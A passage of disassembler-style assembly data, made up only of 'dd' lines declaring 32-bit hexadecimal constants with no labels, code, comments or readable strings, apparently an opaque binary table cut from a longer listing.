		dd 7CA6CEF2h, 0DD030059h, 90D66ABEh, 403A6FD2h,	1015077Eh
		dd 4A9070D3h, 71E2C02Bh, 0D07CCAh, 0A9DE676Ch, 7BB01D54h
		dd 0BBC48100h, 0AE7D70FAh, 13A7C90h, 2A5A12Ah, 0EEACBD6Fh
		dd 0C988A80h, 0C1029C24h, 111CD24Fh, 0ABD6C046h, 106A0058h
		dd 5750E551h, 920FD316h, 4B38782Fh, 56C00155h, 5260CE97h
		dd 156D05CAh, 81A922C5h, 81FA35A0h, 84BDFC8Eh, 23D01A6Ah
		dd 0C0009586h, 0CED34206h, 0F8927530h, 7A79A21Ch, 0C215004Eh
		dd 68E4CFEAh, 12006B4Dh, 0E107C955h, 1F2CA459h,	0C0A38EC6h
		dd 62DBCFFh, 0D200F917h, 59C77EE0h, 0F129EBBh, 0B679E77Dh
		dd 30554885h, 0A783F510h, 0A60CC000h, 0F81054E3h, 0BA200C3h
		dd 711CE742h, 0EC3BA760h, 2DB20745h, 20AF803Ch,	18D0BD1Eh
		dd 64F50281h, 50AAA117h, 0EE3C6468h, 7A4AC240h,	123C9242h
		dd 1E3612F5h, 0F110029Eh, 601ADAh, 9D891932h, 0E4488031h
		dd 3DE40041h, 86EC29ACh, 773E5150h, 303931A6h, 9FE43F64h
		dd 73534C5Ah, 0A5D0F800h, 4FDCBC47h, 97288C2Eh,	0A913E600h
		dd 503861h, 2AC31845h, 8EEF39CFh, 20691D00h, 0A9E9B95Eh
		dd 0E1A100B7h, 2F0B8144h, 83141C3Dh, 9CCA15h, 8BC48E73h
		dd 347288h, 0B1FE970Dh,	6809B4B7h, 266EBA01h, 0DE74D0D6h
		dd 8F1160h, 0E61BDBCAh,	0C8326C53h, 0A00B2F76h,	0A1A5ADE8h
		dd 0F19F46E8h, 0F368FF4h, 0F744AB19h, 43DCEEE0h, 48E695ECh
		dd 0C8C1F009h, 3B5A002Eh, 622BFCh, 73CDB2C3h, 6C441560h
		dd 2E24C901h, 7D533120h, 8F22DCh, 97676E8Dh, 4E74A5B6h
		dd 0B065CE17h, 0F19BAD00h, 3BD1383h, 174543F4h,	90E72BFBh
		dd 1203BA1Ah, 3C08E800h, 0AEA61E05h, 246526FDh,	39EB00D0h
		dd 117A0151h, 3A47C104h, 34C0E743h, 6F7F814h, 630CBD6Ah
		dd 0A238DA3Eh, 43C00E5h, 0BC9E5271h, 1CF4A88Ch,	0D87C004Bh
		dd 53689AE4h, 80F4FE42h, 3AC8B600h, 0AEEE2C10h,	190B264Fh
		dd 16843F4Fh, 0B4058A57h, 0E21E2928h, 2F01F287h, 7E418054h
		dd 0EC6A60h, 10C406CDh,	0F9088230h, 1EAF9701h, 79FB5D0Dh
		dd 0DBD020h, 7F0E6BBDh,	0E84412C4h, 7777E3E8h, 0C8B6673Fh
		dd 1FA80124h, 45406670h, 0FC3058F5h, 79821FF3h,	3DA5E82Fh
		dd 0B9011FCDh, 0EAC75CD6h, 521C308Dh, 0BD30900h, 1A34EE2Dh
		dd 0AF2926F6h, 0B05F011Fh, 0EC1955DCh, 0D460E2F9h, 6A161398h
		dd 0FA660091h, 0A3D53135h, 0E7006512h, 0BF62D393h, 183969Eh
		dd 43541BAAh, 0E4E56D1Dh, 2502316Ch, 0A8356A40h, 858FF75Eh
		dd 7B9CFA80h, 0BB037274h, 0A2F3B5C9h, 0D4B6C091h, 0EA0400E0h
		dd 377054F7h, 65EAB25Dh, 0DAA11004h, 1C8021AFh,	166047E3h
		dd 41899383h, 0DF07C34h, 11DC403Dh, 0E9003B8Eh,	12F758CBh
		dd 0E0BE954Eh, 133A387Dh, 0D603BAB8h, 767016E8h, 282EF838h
		dd 0D2290C5h, 0D0DB002Bh, 0EE1358DCh, 0BD755CCAh, 0F7B00F1Dh
		dd 0A6457380h, 2A90398h, 4D55DBEAh, 88609ECEh, 18ECC66Ah
		dd 3A00517Eh, 8DE9030Fh, 35C2ABAh, 8AF2075Fh, 6FE286FCh
		dd 0A67FBC80h, 0AA601D27h, 2D72C011h, 74E300D0h, 71B15562h
		dd 85E43634h, 7E5A1100h, 1B3F78F5h, 0AF632E4Ah,	62F0358h
		dd 8E0022C1h, 472DD1E2h, 5039B8Fh, 651714D0h, 42FC00B6h
		dd 7730C46h, 9FF09490h,	54EDDE0Ch, 1C9B1006h, 0C0D94C3Fh
		dd 0EC1EAE97h, 875824B0h, 0D4880054h, 3C4368E3h, 0D1660044h
		dd 0DC61E757h, 20001140h, 1883BD71h, 0CFEC9D1Bh, 47A03361h
		dd 0C9F9874Ah, 53B86D63h, 1FE88EAEh, 0C050ED90h, 3EEECD92h
		dd 0FC0E7B27h, 404297E5h, 0A4AEA526h, 24F5006Fh, 1DAA4655h
		dd 5700BB4Ah, 74955BC1h, 16927h, 8DC2C4F4h, 0AED02056h
		dd 0E3BD2204h, 0A0A07DC6h, 0D39501A8h, 0E40F44FAh, 9CA0E38Ch
		dd 0C800B961h, 0B106B0E1h, 7F8789h, 36DA77E8h, 3281258Eh
		dd 43FC681Fh, 823DC540h, 90720C38h, 9EE80E30h, 42E3DC4Ch
		dd 0D0FEEA61h, 248C2600h, 67922FFh, 0A4380067h,	214F9E7Fh
		dd 0B259BB3Dh, 42983F70h, 1EBAC2Ch, 0B30BE9E0h,	9EFC206Bh
		dd 5664000h, 0F49CBB1h,	52103EA3h, 8390AA05h, 0CED480B0h
		dd 1801851Ch, 139341E3h, 84249EF0h, 501F03A4h, 0FD8A358Eh
		dd 0B59B560Bh, 0C4110001h, 0E1F273C8h, 5481E0h,	0CE07D285h
		dd 0A01FB1E8h, 96B3DD00h, 0A6AC68DEh, 0B86CEE44h, 1750024h
		dd 6F5AC2A3h, 7CB154E2h, 7ADB003Bh, 0D771A80Bh,	79EC005Fh
		dd 3E6FF01Ah, 0E4B2FBBBh, 0DCF5BC00h, 0D61D9183h, 2C13E804h
		dd 89C071F3h, 6CE19535h, 80C0624Bh, 4A9E0E45h, 44DEE55h
		dd 0DE1A31C2h, 34880C1h, 7A31112Eh, 0CC23118Fh,	2557A440h
		dd 60AB2E78h, 82138C64h
		dd 0AA5D20E0h, 76E602D4h, 0E0588959h, 5525B2h, 431B4A3Bh
		dd 3F9E413Eh, 9B2A7F01h, 5B30B4C0h, 1E5EB070h, 0C1708189h
		dd 99B14257h, 0D756D4EFh, 0C60B9800h, 7605CECFh, 3E7B00B7h
		dd 0E9A5055h, 3448D1CDh, 7F0074BCh, 69CC87Eh, 700569h
		dd 375330Ch, 21F7892Dh,	51E3CE00h, 388A9464h, 73A100BFh
		dd 5F4988B0h, 0C179C25Bh, 610F9E1Ch, 56875D45h,	133994A4h
		dd 533265h, 1126F678h, 2500E677h, 0A6D9028Bh, 1CC3ABBFh
		dd 29619F7h, 3A82A161h,	0CF66D040h, 71F52F5Ch, 9341472Dh
		dd 0EC788C4h, 89300EDh,	7A24B86Dh, 5F5F214Eh, 0DD053800h
		dd 3A812054h, 24B130A5h, 70A64010h, 3600A176h, 0CCCED879h
		dd 0B0F86A49h, 0FFA91385h, 0E4CF1CE9h, 8501BBC8h, 0DCF35E40h
		dd 91D4F8A2h, 0FBA90C0Fh, 0B68C4060h, 0B8C687h,	0C97FF614h
		dd 0FD1CAE39h, 17A78B1Ch, 2B8FD547h, 4DCABC60h,	0E60700A0h
		dd 0BA0F6A1Bh, 3809686Fh, 708389B4h, 0EF650078h, 30CEF714h
		dd 0A5007E6Ch, 15E0F695h, 4E75F9h, 60ACC045h, 39A0935Dh
		dd 1DC17200h, 111ED889h, 176B0106h, 19D28F16h, 0C07DF410h
		dd 0C38C2000h, 0E5E575Ah, 3C38586Dh, 39569D02h,	0A98736B1h
		dd 0F52080CCh, 6658AA52h, 86C2016Ch, 0A1E9C753h, 4B22D0h
		dd 1ACA4C8Ah, 0EFB67D0Eh, 0BB88EA00h, 56D015C3h, 3F3690CCh
		dd 0F90A2197h, 0FBE7BADh, 0CD249455h, 4DF080B9h, 6A0034E9h
		dd 767E7417h, 0E0DFFBEh, 624329AEh, 0B8192E40h,	8700CCA6h
		dd 0A008C005h, 9830E003h, 94560050h, 0C58144A9h, 7805B70Ch
		dd 0F88CB238h, 31CEC09h, 0C12BA5h, 717EC811h, 9842DD4h
		dd 7DC90A00h, 4F5FFB72h, 0C4E070h, 8078E30Bh, 0D4EFA2BCh
		dd 87CFC100h, 96E91672h, 0E7900022h, 21D3AB1Ah,	0BD001CF8h
		dd 0C2C68201h, 78BEDEF4h, 0B11909A3h, 148757D9h, 4260D180h
		dd 4E103416h, 0FC07E207h, 3160BE1Ch, 7F7DEE0Bh,	0BC54027Ah
		dd 0ADDD359Eh, 43E70C60h, 2F8BB107h, 181E0E4h, 0E2FC3CEh
		dd 0A3C00B44h, 9597EAEBh, 7541F403h, 0D818103Bh, 30B67805h
		dd 99703AADh, 0D900010Fh, 0AB097DA7h, 366274Ah,	0D6A5C3E5h
		dd 87AC8716h, 6C4600F4h, 0C0060E7h, 9FBCF597h, 49137Bh
		dd 3284BDB9h, 1C6542DDh, 0EE515D1Dh, 0B0910702h, 60AC8018h
		dd 0B046CCEBh, 0FE90144h, 485F8AFh, 0BFD8C8B7h,	84569500h
		dd 9E3DEC10h, 6F081D16h, 0D3864521h, 0E3C8C0DAh, 0BFE7667h
		dd 289DE201h, 0B457CEF1h, 1802E760h, 2848B381h,	173CF3EBh
		dd 0FC97000Ah, 616ABC03h, 0FD8C00FFh, 0DA694EE6h, 630096ECh
		dd 0CB20838Dh, 5C76010h, 4533F20Dh, 85CC408Bh, 287DA907h
		dd 6480CE4Ah, 4A77CF04h, 27490F8h, 6A9044A2h, 8890BA4Ah
		dd 25735D3Eh, 984028A6h, 70004702h, 4337D8D4h, 0BB77425h
		dd 0C131A717h, 57504080h, 0C94A7966h, 773ECC00h, 3B4729h
		dd 1A6FCC75h, 0DFF91E9Ah, 19803803h, 0F83276EBh, 579E5Fh
		dd 0D2DB9B48h, 0FCB6AC31h, 0D07FD4A1h, 0A53E197Ch, 80D09C23h
		dd 0AACA00B8h, 3C1AB392h, 98BE02E2h, 6F1615EBh,	0E959C4A0h
		dd 0F2609691h, 41DF5689h, 8D0A0FE4h, 0A8CFA760h, 23896BA7h
		dd 5BE09D81h, 0C5005FCFh, 0D02577A2h, 7B42DAh, 8F65062Ah
		dd 0E93E9247h, 0F694D10Eh, 6F1D601Bh, 1E418C13h, 85A067D2h
		dd 10445CAh, 0B6373CF4h, 0CDCBD0B4h, 0E57A2300h, 1154C6F1h
		dd 0A0997274h, 1271DDDCh, 0E0AB82h, 594288C0h, 5A001F63h
		dd 2E8DC71Bh, 3E523DADh, 0C40F34CCh, 0F4E04F44h, 0B21D3ED4h
		dd 20CBE605h, 64C8B0BDh, 0A0CF0087h, 977E839Ah,	0B61C6538h
		dd 0E800776Ch, 0C03E2988h, 0ECA500A7h, 18C1867Ah, 0A0B69DFh
		dd 0C0A65C10h, 0E4C51Ch, 2E7788FEh, 0C20C14EAh,	28004CB0h
		dd 0AA7AEB33h, 55D6455h, 75396CB2h, 5BB48091h, 9D3C99B9h
		dd 8216876h, 7B06621Eh,	31B856h, 97615490h, 9580CFC8h
		dd 0CBBCA00Eh, 8F0E4679h, 9FD34011h, 78946020h,	1ECE7DDBh
		dd 7DFD49ECh, 16750380h, 976CDFB8h, 0BA93E100h,	0A98A01D7h
		dd 0E8E70F8Eh, 0DC00A60Ah, 4CFEC361h, 8F6F4800h, 42746E10h
		dd 0AEE21E95h, 0BD778CCDh, 97312060h, 813980C3h, 1386120h
		dd 0F4D4F7E9h, 816B5864h, 0E8BC8A29h, 0AC243A15h, 8D200A0h
		dd 0A3ACBF99h, 0E774E261h, 6E06B9A0h, 0ACA4D42Ah, 0C2662118h
		dd 1C714261h, 40016CA5h, 7A0B0C6Ah, 0F67A67E9h,	0C055F300h
		dd 9384596h, 0FA8207DCh, 0DEB3F29Ch, 0EAB51B60h, 0F6019D69h
		dd 2C1AABFCh, 0E0DEB90Dh, 0E076D54Fh, 59F3A010h, 96D30038h
		dd 0E0B4E888h, 0C7185EBBh, 0B316F4DDh, 0C696C0EBh, 0D4C88C6Ch
		dd 7EA64F00h, 74BC5FB1h, 58DE013Fh, 259B59CFh, 514530B2h
		dd 13CCA70Eh, 1DDC20B9h, 3A9E724h, 0A5966001h, 0B986382h
		dd 3E1CE3FAh, 87472037h, 0DDE0C846h, 3FD82Eh, 0A20F8C93h
		dd 97BDCC9Dh, 8598DB05h, 8C40CA91h, 0C7901864h,	48942DB6h
		dd 0C2B18C68h, 10A14C30h, 6E1F6BF7h, 0C16031CBh, 5974AC7Fh
		dd 12909E01h, 20E723E8h, 0EACE30h, 5CC42899h, 2FECC182h
		dd 75A6E200h, 0D71A1052h, 0E761005Dh, 8146A42Dh, 0E348170Ch
		dd 8CA60AF0h, 4E5814BAh, 0A260B97h, 0E4607AEDh,	3005BBFh
		dd 9D83CC2h, 0DC2DB3h, 0BC26E26Eh, 0BD7B3064h, 6315DF06h
		dd 7BB88E1Bh, 7E5003D4h, 0A36D3644h, 0A971E902h, 3A09879h
		dd 0AFB8203Ah, 8618834Fh, 95198707h, 0FE40E4FAh, 0FB1C109Eh
		dd 81843A9Fh, 1E1D7FE6h, 0D1D1AA57h, 1B133CCh, 0CCE5963Bh
		dd 2CC3EE72h, 43D60C3Ch, 0F2CD5193h, 8606306Ch,	327A5B11h
		dd 8FA44600h, 7E857844h, 820600D7h, 278B67C9h, 251EE875h
		dd 84006014h, 409A8971h, 362100B7h, 0A1AE8299h,	0A75CE85h
		dd 147FB00h, 727F31A6h,	0D7F87Ah, 9E489B2Fh, 0BB6E99A4h
		dd 4C9B502h, 0A73D4B11h, 0F9A068F8h, 1334886h, 80C6B3F8h
		dd 6A0E0B30h, 44394C07h, 742FA2D1h, 3B3220h, 32B9F27Dh
		dd 0B77ED1C0h, 944E6E07h, 0A741F75Bh, 54388840h, 0A6C55301h
		dd 0FCBE0113h, 0CB58BA7Bh, 2F180114h, 0D5A65F2h, 0C38FE0h
		dd 77123DA4h, 217A2D19h, 6E7B130Eh, 91E88010h, 12B27F8h
		dd 0CC0A9A20h, 98029392h, 51211C08h, 0DB2B003Eh, 7D5611FCh
		dd 6D0EC3FDh, 40879A29h, 7ACFAA4Ch, 691E006Bh, 0BB984D0Fh
		dd 0D331FA2Ch, 375B703Ch, 4FDD4880h, 0CFAB9E56h, 3D13A9C0h
		dd 0C16D2FCAh, 529F9428h, 37508128h, 0E82B2966h, 20C82980h
		dd 93D38D0h, 7AC0FB07h,	2746FA39h, 87E0021h, 88321FD1h
		dd 7D146D03h, 0DE3886h,	3D5AA3B7h, 0C0659FC2h, 39223268h
		dd 0DD03F88Ah, 0C337FEEEh, 0AEBFA821h, 6F140CE8h, 871027E7h
		dd 94B02900h, 0D9FCDC18h, 32A200FDh, 25CEC63h, 5100CC30h
		dd 0D7EECBD6h, 48308h, 0B34C11Eh, 0B78D386Eh, 69FEC350h
		dd 0A6C6CD14h, 6E83FB04h, 1024A901h, 681F0218h,	0C9819E01h
		dd 73E4E3CCh, 0EFC80EAFh, 0F50057BCh, 53C4180Fh, 9EC21C03h
		dd 10CF3432h, 0AE4728h,	6C3BB588h, 0E9BD8186h, 5769F8h
		dd 0BA944F75h, 70837B4Dh, 6EFE3E03h, 0D8860D3Ch, 0F97DFBBh
		dd 4D34ABCAh, 96298C03h, 0D72DA8C0h, 0D6000FFCh, 0F4701A76h
		dd 5B4018h, 83E476Eh, 1F4983CAh, 65858003h, 0F08F505Fh
		dd 0C2C673h, 0BE762B34h, 0BA814155h, 7072DEAh, 93D7E48Fh
		dd 38F726h, 5B987C79h, 3F09A3E0h, 330CB74h, 0EEBC29E2h
		dd 63C202D5h, 4D227525h
		dd 0F55A9A80h, 6C7915F7h, 0CA19000h, 78FCF036h,	0E7EA377Dh
		dd 0B8E6D072h, 0F300FE63h, 340FE2DBh, 71D9D3h, 0F2D04709h
		dd 0D057E6Ah, 0C0F5D1FCh, 1600DD17h, 44D6799Ch,	32D2812h
		dd 0CFA5A4E4h, 0AFBB628Ch, 0C9E81BA8h, 312B9500h, 1181AC21h
		dd 0D3C33BC1h, 64D07300h, 0FF8072F3h, 0A63E0200h, 14BB320Dh
		dd 39590FBFh, 0FEA1A50Ah, 0C09AA9F1h, 240E847Bh, 2A6E6h
		dd 15A5D4E3h, 0A8FA3ACCh, 857C7F84h, 0DAD780F4h, 0ABFCBC82h
		dd 0E1990C06h, 11D39Ch,	0D87B5A49h, 4D78236Ah, 3FA5AE1Eh
		dd 0F57E0A00h, 3885E997h, 58D87945h, 0EC746B00h, 0F373A9B9h
		dd 0E5F758h, 0E13F6F2Dh, 500B8Dh, 9EFA134Eh, 0DA3D6ED1h
		dd 7F885550h, 0B9434C00h, 91119CE3h, 0C013005Ch, 375CF50h
		dd 1A0033D0h, 168AA19h,	7866606h, 880C48AEh, 753D90F3h
		dd 150025A6h, 0DA470533h, 0B49C77h, 5D88B908h, 0BFC67F69h
		dd 64F21E1Eh, 8A4965C0h, 0E6EB0C80h, 182F009Bh,	85DC07FEh
		dd 5017F58h, 0BB3C2857h, 136B878Dh, 0FC5E0760h,	7634F0CDh
		dd 8F0EBF0Ah, 0AF499627h, 0DD786024h, 1261A46Ch, 600748EFh
		dd 0A0EB7C64h, 4C168D04h, 0C880DF86h, 0F179E7h,	0AF459407h
		dd 7223284Bh, 52298F00h, 0ED4F251Eh, 0C4600774h, 30AB3F63h
		dd 0E5032FF2h, 0B8005C7Fh, 97ED46E4h, 0CA301Fh,	0B3503912h
		dd 82BA3A62h, 14C1D900h, 7A92AC53h, 37070020h, 67315C8Bh
		dd 8A0434BFh, 43CC5E7Fh, 0B6488480h, 0FE66000Bh, 44E81A30h
		dd 2B00358Ah, 4093AB14h, 0BCDD85h, 0AFEE2548h, 1DD3F264h
		dd 9B986260h, 0EBA4008h, 88F6949Eh, 8BC4F0A0h, 0E8D6DE6Fh
		dd 0C06CF60Fh, 0B025172Bh, 0AD010059h, 74EF0C68h, 5E1CA0F5h
		dd 0E2C0458Bh, 72E9374Fh, 1CB800D0h, 0CA9ABC0h,	0FAEA2605h
		dd 910C34Ch, 201511F6h,	0DB32B0E0h, 0AEFB0186h,	728C88F7h
		dd 0D0985157h, 0A008E035h, 0F674BC1Fh, 84204124h, 0DAD8ED0Eh
		dd 808C8B05h, 0F11CD9Eh, 691C00FBh, 0A9410D89h,	283A60CCh
		dd 1D0998D7h, 1328880h,	0AF8E6575h, 2F9864C4h, 0F8BE81F0h
		dd 25EC16h, 2711CFA2h, 0C567D9D2h, 7A4B2674h, 3FEC1F86h
		dd 0E79195Fh, 4ECB391h,	9F7B6C3h, 0E97FDA89h, 14C5D042h
		dd 0D90EAA00h, 6CFEB5Eh, 416400F3h, 0A7CD47B6h,	0EE60A3A2h
		dd 6BA83B9Ah, 58E700EDh, 0B18E75BAh, 7FAEA14h, 4AF02F02h
		dd 0C0545D28h, 4E89904h, 0E61AB2Ch, 1F1880BBh, 0DC0AFAC2h
		dd 0CCD23D08h, 0E0F44085h, 0FAA024h, 9A2E86B5h,	36007202h
		dd 58BA2D15h, 988F69EDh, 0FB93E2Ch, 0D2D3E880h,	6F6B203Ah
		dd 0D654F300h, 0CAEF115Dh, 0E94E26DCh, 433E00A5h, 931AF860h
		dd 2764BA0Eh, 0F7D467D9h, 70D10191h, 1D247CF0h,	24FA1433h
		dd 40D01E8Ch, 0B1699D26h, 0D4026754h, 0D214D343h, 3DC04105h
		dd 15245E4h, 2B80DD66h,	308441E7h, 6E00EAA9h, 0EF136794h
		dd 16987FD8h, 0A173EBh,	959FB88Ch, 3C28D509h, 0A00D7A0h
		dd 7BF62C0Ch, 48D39768h, 0B880E0B2h, 7C2165B0h,	4C3AD800h
		dd 18A98608h, 37CD0714h, 96B7395h, 51F21000h, 0EE001265h
		dd 0DB469297h, 48719B8h, 0A373FEF5h, 6BE0C0BEh,	0B2EE9658h
		dd 971B5900h, 0C7374027h, 9FEE0433h, 0D8BD7F0Bh, 7300F32Ch
		dd 84D76D59h, 4C8ED206h, 2815C642h, 5E0FD48Ch, 0BCE7F96Ch
		dd 0F249E1B4h, 8568CCE3h, 963E3D00h, 9FD8576Dh,	1C293F0Fh
		dd 98009C48h, 0E741A92Ah, 4B028AA4h, 6B7C8940h,	5B1CE98Bh
		dd 0BD8480D2h, 0B0DBB963h, 557D0301h, 59C142C0h, 4895380Fh
		dd 1C8262A0h, 472042F6h, 9DBB070Ch, 99B0D034h, 8100CAEDh
		dd 0C758674Dh, 983AE6A2h, 0B34B2628h, 4FB4044Bh, 0D4B4C0A6h
		dd 30142B2h, 0A4231A78h, 97F0C05Ch, 3DC60017h, 631C8034h
		dd 0A80002DEh, 8611D7E7h, 0B0B74F03h, 0B4F90184h, 0CE12F360h
		dd 0E510DC52h, 330088B1h, 94D1B39h, 78B0082h, 34BBB003h
		dd 0A5701E73h, 91BC280Fh, 9569BEh, 3B440340h, 52CF0078h
		dd 0B6975D8Ah, 4B3B3089h, 0D16212D7h, 0C5637000h, 0F83AAh
		dd 437948B9h, 0B0FEEB29h, 0EF471D09h, 4FB8A4Dh,	71C7E700h
		dd 0B0AB0277h, 96842208h, 926C9F03h, 0F029FDD0h, 58134691h
		dd 2C4C9977h, 8C74EC80h, 3D3C2696h, 0C91Ah, 8A98B19Ch
		dd 938E3Ah, 26BC21D9h, 0D019990Eh, 4FBA9000h, 8584D329h
		dd 9C561849h, 0AEF6FA34h, 1FEB9605h, 0A6C08A63h, 41FB0Ch
		dd 2E7E4454h, 1DEC3F24h, 1BF10400h, 7DACAF74h, 446400ADh
		dd 0D3C92ED0h, 6005860Ah, 0C2B4388Fh, 0B8DF9EC2h, 730608A0h
		dd 0B7BD00D5h, 0B869A202h, 890081C3h, 0EEE5ED80h, 9A055BBCh
		dd 0DD9103E8h, 82CF25A8h, 0D5741001h, 0E3C13B69h, 7B6E23F0h
		dd 87050959h, 198EA607h, 2C044B89h, 0DB8C9088h,	7B00715Fh
		dd 0B4A94F4h, 304DB8B9h, 3F91BBEDh, 3E002098h, 0C5296A03h
		dd 1AE8F8h, 6A837C8h, 1B3262B1h, 0B941BCB1h, 0D450D639h
		dd 73BA3B38h, 9C8C4D0Eh, 5DB95201h, 0E0E93C61h,	0CA02EBF6h
		dd 0CF3D1DDDh, 0E67CCE4Fh, 0C0E17D46h, 215AC8F1h, 8D6304BAh
		dd 0D8FE01A1h, 350F10h,	27550AC2h, 634EB88Ch, 0DC00AC92h
		dd 8C554F6h, 92B9A75h, 323119A3h, 0FE8398A9h, 61001B71h
		dd 28A3DB87h, 4E2341Dh,	8E45F3ABh, 7CE08064h, 7700B260h
		dd 0A7388D8Bh, 0AE0A32h, 0E415BDB6h, 490EBF41h,	105D5101h
		dd 3A2D30A5h, 2FF6570h,	87B77A44h, 64E0B427h, 4E4C40D7h
		dd 0B3E8130Ch, 768B4400h, 5F0310h, 3E6FA570h, 179652A8h
		dd 0F781F300h, 6354BE61h, 0D8903C09h, 62580CCBh, 463FCE98h
		dd 0A56E0187h, 0EE29AC80h, 0C87CA051h, 8412B831h, 8734C021h
		dd 2EEF1514h, 0EE0B8026h, 400728Eh, 506A665h, 0FFD60200h
		dd 3567AE7Eh, 0DD833B8Fh, 2CE56D80h, 5B8AE761h,	0EB4830EFh
		dd 6804649Ah, 0ECB6EE5Ch, 470458D0h, 0EBCF001Bh, 585D0E7Fh
		dd 9498623Ch, 4177FF03h, 0E955D9F2h, 60D28905h,	7764B64h
		dd 0C716C8D1h, 22B1C05Eh, 0D3032E4Ah, 0CF49D25Fh, 7204B887h
		dd 0B85E1E77h, 0CDD611h, 16FD5A10h, 48CF64C6h, 2D38A0BAh
		dd 46F6F0h, 0D757A4Dh, 0EA8F51F9h, 87B37914h, 4C5A26F4h
		dd 2CC89600h, 0F669349Bh, 846A5007h, 321800B9h,	884CEABAh
		dd 5DEE824Dh, 0F5091D14h, 9CFA00F4h, 0DF781125h, 215B003Ch
		dd 230D4BA3h, 0F200AAE6h, 134DECB7h, 3BB929C0h,	3102F6C1h
		dd 72522B82h, 0CD6D7760h, 0C08BDE30h, 0EE42385Fh, 80D4BB19h
		dd 97F0C830h, 0C55CA5ACh, 330B00B5h, 9203D2DCh,	53D90029h
		dd 948B7C4Fh, 0DD2E9B54h, 0D100183Fh, 9F0CB068h, 3C9301F6h
		dd 0D4BD89ABh, 235880E5h, 4BD61AE7h, 6EA6004Ah,	0BC9C437Ch
		dd 4207483Dh, 0BA49B05Bh, 7331EE66h, 0EBA30C8Ah, 0DA11E318h
		dd 0C13A3100h, 90C3679Bh, 553C00BFh, 2D0BF56Eh,	0D900E874h
		dd 0ACA801E6h, 1E25859Eh, 0ECDC4ED3h, 8EFD0E64h, 791AF200h
		dd 1403633Fh, 187F0EABh, 0EFDFF01Dh, 0BDFF1FCFh, 0D8007BAEh
		dd 0BB064613h, 0B2004010h, 0F7151E58h, 793A53h,	0A65FB518h
		dd 68DA293Fh, 80100F00h, 15695646h, 9C670075h, 850308F9h
		dd 0CC0424EDh, 0D8ADA1E0h, 0B2A08C1h, 19CA770h,	0A4F0EED3h
		dd 0F871FB89h, 0B090DA55h, 80186A4Ch, 2F806F77h, 0A92C00B0h
		dd 825F764Fh, 9579BF3Bh, 0DEFFA60Fh, 2025EB44h,	20678AA8h
		dd 0B50730D1h, 0BB906D10h, 58AA5703h, 0B3469EB3h, 0F891C320h
		dd 7E954303h, 8E2E01FCh
		dd 8DCAE32Ah, 85FDD0DFh, 0ACE2080Ch, 0E7114ECh,	8C9235C4h
		dd 68E924C3h, 4701A27Ch, 64EE3D88h, 0F4DFC6D9h,	0A0DBCD80h
		dd 44270083h, 0A8602B99h, 550FE278h, 1F928112h,	678DE680h
		dd 63D37Bh, 8A9A7F4Bh, 0E1C5C685h, 0D8739700h, 0F7616009h
		dd 0F13000E0h, 0F32E65E5h, 8B5CBE7Dh, 0D02C00EDh, 9C837892h
		dd 67E30072h, 97E0229Dh, 64B85B4Ah, 4B8DC400h, 358A5A65h
		dd 8EC074Dh, 13284093h,	10004A8Bh, 0DBBCBFE7h, 411F85h
		dd 784F6B05h, 13ED8EF7h, 3769DC00h, 0E124B7D2h,	480A60C9h
		dd 0BE34F1F3h, 2C687626h, 9164AB00h, 0FAC5E4B5h, 0D89C0028h
		dd 2DA87A7Bh, 2400D7C4h, 0C0FE0B9Eh, 57DAC6h, 0E9D2E9Bh
		dd 0D7C5FA59h, 0A61A701h, 0D831F3F7h, 2509C2F4h, 80026936h
		dd 54C0EFDBh, 0B138801h, 0B0408D38h, 0CD5BB43Bh, 61EB00A7h
		dd 0E52E8066h, 0E1009732h, 0AA46543Eh, 24C9628h, 437B029h
		dd 0FCE6BE74h, 3C9020h,	0C34F10BFh, 0AC40B8A7h,	0D5216E0Eh
		dd 0E69C06Ch, 3D0721Eh,	0CD4C95D3h, 40007C58h, 0A55F7BAFh
		dd 755D9A4Ah, 44C33EEBh, 806E9D1Fh, 8FBF500Ah, 4BF2D33Ah
		dd 9455D528h, 0B564C207h, 8CC0A4D1h, 1919A72h, 0EAC90FA0h
		dd 802428ECh, 2F93CED8h, 9E90B6Eh, 0B660E1BCh, 72924CA0h
		dd 49012C87h, 88D542DFh, 39706343h, 63E09A7h, 0D0C03938h
		dd 480BE3EDh, 0A0B59BFDh, 34D2D604h, 5632094Fh,	0D8802374h
		dd 17771997h, 0CEC91D00h, 47A3C2DBh, 294103AEh,	0D38A730Bh
		dd 184875D8h, 35A4000h,	42256F0Dh, 38AD5DC9h, 3994A403h
		dd 5C90618Eh, 24FC51A8h, 0BE212000h, 0ECE40FD4h, 41076049h
		dd 0FE964DA6h, 0BCEA58h, 959F3FBFh, 0C5A821h, 0D629B231h
		dd 0FF45CB4Fh, 5F3B6216h, 4AF40CC0h, 1C842E52h,	39C82AC4h
		dd 0DD032DDAh, 165B0688h, 132082B8h, 0BE08CE12h, 0B433DC13h
		dd 1EB0FF8Fh, 1B73D2h, 644EDCC9h, 0FDD1D841h, 0D6483A00h
		dd 7967B361h, 0E9081C81h, 0C8025426h, 0FB43540Fh, 0FC29F1D8h
		dd 70905800h, 7BA4E51Ch, 1B980080h, 0AE999136h,	0B3016FEDh
		dd 0E6566B88h, 70D8D4B2h, 773D0578h, 0C1E82EFEh, 0E832A008h
		dd 0D023B15h, 0E1C7586Bh, 912CE887h, 78BBE4h, 0F720B752h
		dd 0FD0024DCh, 0EEE41064h, 45FC7Eh, 90304972h, 0D044775Ch
		dd 0BB5D53Dh, 0A004813Dh, 4227F63Ch, 78B3029Bh,	36B98CFEh
		dd 0D4BB3449h, 1B007AF7h, 0FC43F68Bh, 34FF8Ah, 7EEA376Dh
		dd 0BC975382h, 923D8F00h, 0B36BBDA3h, 0A4153B7Bh, 0D06C49F4h
		dd 0EEE72403h, 5903722Ah, 526D95F0h, 19110F6Ch,	5381ACD4h
		dd 28BF1087h, 772282A0h, 0EDC38Dh, 2C73AE28h, 0FB6F729Dh
		dd 0E51D9019h, 79ECFDE8h, 331A154Bh, 0EF00E86Bh, 0C60E7389h
		dd 4F1F2696h, 79C56A03h, 84037451h, 8854CAD2h, 3027918Ch
		dd 713934E2h, 0C1017065h, 5652A64Eh, 72E31BECh,	0B84300A9h
		dd 0E532AE93h, 510AAD07h, 0C8808E42h, 365C7800h, 6B7EF3h
		dd 0FCF8B777h, 3FE69E4Eh, 4A2F1C1Dh, 0D66E74C4h, 0F0FD1490h
		dd 0B2CB01D4h, 83B06DCCh, 0FB1180B8h, 892F3EAAh, 9F70084h
		dd 40605E1Fh, 8E5017C3h, 7A00F28Ch, 4E18E10Ah, 6063FCCDh
		dd 1D0E1881h, 809AAB6Dh, 0AE1C281Fh, 5EF00B8h, 0D486FEEh
